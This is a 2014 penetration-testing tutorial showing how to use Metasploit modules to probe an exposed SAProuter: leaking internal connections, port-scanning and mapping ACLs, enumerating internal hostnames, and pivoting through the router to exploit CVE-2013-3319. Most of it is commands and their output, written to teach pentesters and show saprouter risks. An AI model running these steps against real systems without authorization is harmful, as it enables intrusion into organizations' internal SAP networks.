Piercing SAPRouter with Metasploit

(originally posted on Metasploit's blog - SecurityStreet on 9 Jan 2014)

Saprouter is basically a reverse proxy for SAP systems, typically sitting between the Internet and internal SAP systems. Its main purpose is to allow controlled access from hosts on the Internet to the internal SAP systems, since it allows for a finer grained control of SAP protocols than a typical firewall.

This means that saprouter usualy ends up being exposed to the Internet, by allowing the inbound TCP port 3299 to the saprouter host on the organization’s firewalls. And from the saprouter, at least it should be possible to reach an internal SAP server. This makes it a very interesting target, since it can provide a way into the “high value” network.

The following figure shows a basic network setup, which we will use for the examples:

image1

First we’ll start by performing a SAP service scan of the exposed IP address, using the sap_service_discovery module, in this case, 1.2.3.101.

msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_service_discovery) > run

[*] [SAP] Beginning service Discovery '1.2.3.101'

[+] 1.2.3.101:3299      - SAP Router OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

The scan shows us that the host is running a SAP router on the expected port TCP 3299. We can now dig deeper, and attempt to obtain some information from the saprouter. If it has been misconfigured, and often they are, it may be possible to obtain internal information, such as connections established through the saprouter to internal hosts. For this purpose we use the sap_router_info_request module:

msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request 
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_router_info_request) > run

[+] 1.2.3.101:3299 - Connected to saprouter
[+] 1.2.3.101:3299 - Sending ROUTER_ADM packet info request
[+] 1.2.3.101:3299 - Got INFO response
[+] Working directory   : /opt/sap
[+] Routtab             : ./saprouttab

[SAP] SAProuter Connection Table for 1.2.3.101
===================================================

   Source        Destination   Service
   ------        -----------   -------
   1.2.3.12      192.168.1.18  3200

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

So, from the output we see that someone on the Internet (1.2.3.12) is connected to an internal host (192.168.1.18) on port 3200. Port 3200 is a common SAP port for the DIAG protocol (that’s where the SAP GUI application connects to SAP servers). We also obtain information about the internal IP addressing scheme, they’re quite surely using at least the 192.168.1.0/24 network, or some subnet in that network.

Enumerating internal hosts and services

With this information, we are now able to start scanning the internal network. Since saprouter works like a proxy, we will attempt to connect to it and request connections to internal hosts and ports, and see the replies from saprouter. This may gives more insight into the internal hosts, services and ACLs, depending on the configuration of the saprouter. We’ll be using the sap_router_portscanner module for this purpose.

The module connects to the saprouter and requests connections to other hosts (defined in the TARGETS option) in specific TCP ports. It then analyses the replies, and understands whether the requested connection is possible or not. This module provides a few options that can used:

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  CONCURRENCY  10               yes       The number of concurrent ports to check per host
  INSTANCES    00-99            no        SAP instance numbers to scan (NN in PORTS definition)
  MODE         SAP_PROTO        yes       Connection Mode: SAP_PROTO or TCP  (accepted: SAP_PROTO, TCP)
  PORTS        32NN             yes       Ports to scan (e.g. 3200-3299,5NN13)
  RESOLVE      local            yes       Where to resolve TARGETS (accepted: remote, local)
  RHOST                         yes       SAPRouter address
  RPORT        3299             yes       SAPRouter TCP port
  TARGETS                       yes       Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.

At the very least you’ll have to set the saprouter’s IP address, in the example case, 1.2.3.101. Then, set TARGETS to the internal network addresses you’d like to scan, and finally set PORTS with the TCP ports to scan.

The module provides also an INSTANCES option that allows simplifying the definition of the PORTS option. SAP installations support multiple instances, providing similar services, so each instance has assigned TCP ports. For example, SAP instance 00 will have the SAP dispatcher service (where SAP GUI connects to) on port 3200 and instance 01 on port 3201. The PORTS option supports a “wildcard” which is “NN” that will be replaced with the instance number, hence scanning ports for all the defined instances. So, if we want to scan instances from 00 to 50, we can define the INSTANCES and PORTS variables this way:

msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN

With this setting the module will scan ports in range 3200 to 3250.

In the source of the module you have information regarding the common default ports on SAP systems, which we will now be using for scanning:

msf > use auxiliary/scanner/sap/sap_router_portscanner 
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner  
msf auxiliary(sap_router_portscanner) > set RHOST 1.2.3.101
RHOST => 1.2.3.101
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.18
TARGETS => 192.168.1.18
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
PORTS => 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[!] Warning: Service info could be inaccurate

Portscan Results
================

   Host           Port   State   Info
   ----           ----   -----   ----
   192.168.1.18   3201   closed  SAP Dispatcher sapdp01
   192.168.1.18   3200   open    SAP Dispatcher sapdp00
   192.168.1.18   50013  open    SAP StartService [SOAP] sapctrl00

[*] Auxiliary module execution completed

We can try to understand why some connections are not allowed through the saprouter by using the VERBOSE option. When VERBOSE is set to true we are able to see the response from the saprouter, and map the defined ACL.

We will now scan the 192.168.1.18 and the 192.168.1.1 hosts, but only on port 3200, to see if we can connect to both SAP dispatchers:

msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.1,192.168.1.18
TARGETS => 192.168.1.1,192.168.1.18
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

   Host          Port  State   Info
   ----          ----  -----   ----
   192.168.1.18  3200  open  SAP Dispatcher sapdp00

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[!] Warning: Service info could be inaccurate
[*] Auxiliary module execution completed

As you can see, we now also know that we cannot connect to other host on port 3200, since it is blocked by the ACL defined on the saprouter.

Mapping the ACLs

An interesting thing about the saprouter, is that it supports two types of connections:

  • Native – These connections are simply TCP connections;
  • SAP protocol – These are TCP connections with a twist, the protocol states that all messages are started with 4 bytes stating the length of the following content.

The SAP protocol is specific to saprouter, and is what the SAP GUI uses to connect to the SAP DIAG port through the saprouter. The native protocol is used for allowing other types of connections to pass through saprouter.

This module allows for specifying which type of connection to test during the scan in the MODE option. The default is the SAP protocol, which is the most probable to be used in production. However, it is not uncommon to find other services allowed through the saprouter, where the ACL will allow native (TCP) connections through.

We can set the MODE to TCP in order to assess whether this type of connections are allowed. We will now scan the internal hosts, both on port 3200 (SAP DIAG) and 80 (HTTP), with VERBOSE set to true, on both instances 00 and 01 and see what happens:

msf auxiliary(sap_router_portscanner) > set MODE TCP 
MODE => TCP

msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
PORTS => 80,32NN
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:80 - TCP OPEN
[-] 192.168.1.18:3200 - blocked by ACL
[+] 192.168.1.18:3201 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

   Host          Port  State  Info
   ----          ----  -----  ----
   192.168.1.18  80    open   
   192.168.1.18  3201  open   SAP Dispatcher sapdp01

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[+] 192.168.1.1:3201 - TCP OPEN
[+] 192.168.1.1:80 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

   Host         Port  State  Info
   ----         ----  -----  ----
   192.168.1.1  3201  open   SAP Dispatcher sapdp01
   192.168.1.1  80    open   

[*] Auxiliary module execution completed

From the output and the previous information we now know that the ACL is something like this:

  • Allow TCP connections from any host to 192.168.1.1 to port 80
  • Allow TCP connections from any host to 192.168.1.18 to port 80
  • Allow TCP connections from any host to 192.168.1.1 to port 3201
  • Allow TCP connections from any host to 192.168.1.18 to port 3201
  • Allow SAP connections from any host to 192.168.1.18 to port 3200

Blind enumeration of internal hosts

If you recall, we started by obtaining information from the saprouter which allowed us to know the IP address on an internal host, and we went on from there. But what if the saprouter doesn’t provide us with that information?

One option is to just start scanning private address spaces, and see what happens. The other is to blindly enumerate hosts by hostname.

Saprouters are able to resolve hostnames we request it to connect to. Saprouter is also kind enough to let us know what are the errors when it fails to connect (you can actually see the raw responses by uncommenting line 242 on the module source).

With this feature we are able to enumerate internal hosts by hostname, and try to go directly for the gold!

For this, we need to set the RESOLVE option to “remote”. In this case, the module will request connection to the TARGETS defined, without resolving them locally, and we can try to guess the internal hosts, and eventually connect to them without ever knowing their IP addresses.

Important things to remember when blindly enumerating hosts:

  • Set VERBOSE to true;
  • We’ll get more information from saprouter if MODE is set to SAP_PROTO;
  • It is enough to set only one port to scan, since we’re only interested at this point in the information sent by the saprouter (try 3200);
  • Results will vary depending on the configured ACL. Unfortunately blocked connections won’t give us much info.

In this example we’ll try the hostnames sap, sapsrv and sapsrv2.

msf auxiliary(sap_router_portscanner) > set RESOLVE remote
RESOLVE => remote
msf auxiliary(sap_router_portscanner) > set MODE SAP_PROTO
MODE => SAP_PROTO
msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS sap,sapsrv,sapsrv2
TARGETS => sap,sapsrv,sapsrv2
msf auxiliary(sap_router_portscanner) > set PORTS 3200
PORTS => 3200
msf auxiliary(sap_router_portscanner) > run

[*] Scanning sap
[-] sap:3200 - unknown host
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv
[-] sapsrv:3200 - host unreachable
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv2
[+] sapsrv2:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

   Host     Port  State  Info
   ----     ----  -----  ----
   sapsrv2  3200  open   SAP Dispatcher sapdp00

[*] Auxiliary module execution completed

From the output we see that the host “sap” does not exist, but that host sapsrv does, although it is unreachable, and sapsrv2 exists and we can connect to port 3200.

This technique can also be used to try to find other hosts on the network, not SAP related, just try using common hostnames, like smtp, exchange, pdc, bdc, fileshare, intranet, or what other nice hostnames you might have on your bag of tricks :)

The last mile

Now that we have obtained all this information, we know the internal hosts available, what services are allowed, and what protocols we can use to pierce the saprouter, we can actually connect to internal servers, and proceed with our pentest.

Metasploit provides us with an awesome way to saprouter as a proxy, using the Proxies option, thanks to Dave Hartley (@nmonkee).

So at this point, we want to start gathering information on the internal sap server we have discovered in host 192.168.1.18. As an example, we’ll be using the module sap_hostctrl_getcomputersystem which exploits CVE-2013-3319 and give us details on the OS the server is running on by querying the SAP Host Control service on port 1128 via an unauthenticated SOAP request. We’ll be pivoting through the saprouter, using the proxy support in metasploit:

image2

msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem 
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
Proxies => sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
RHOSTS => 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run

[+] 192.168.1.18:1128 - Information retrieved successfully
[*] 192.168.1.18:1128 - Response stored in /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_386124.xml (XML) and /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_186948.txt (TXT)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

If all went well, you’ll have a nice output of the module in the loot containing interesting internal information from the target SAP host (such as internal usernames you can then try to brute force ;)).

Pivoting can (and should!) be used to run other modules against internal hosts, not only SAP systems!

Conclusion

We’ve seen how it is possible to exploit weak saprouter configurations that can allow access to internal hosts all the way from the Internet, all this using only metasploit’s support for pentesting SAP systems.

I hope this article can help shed light on both the risks associated with saprouter deployments, as well as SAP security in general.

References

 

Author Written by Bruno Morisson


© 2024 INTEGRITY S.A. All rights reserved. | Cookie Policy

Cookie Consent X

Integrity S.A. uses cookies for analytical and more personalized information presentation purposes, based on your browsing habits and profile. For more detailed information, see our Cookie Policy.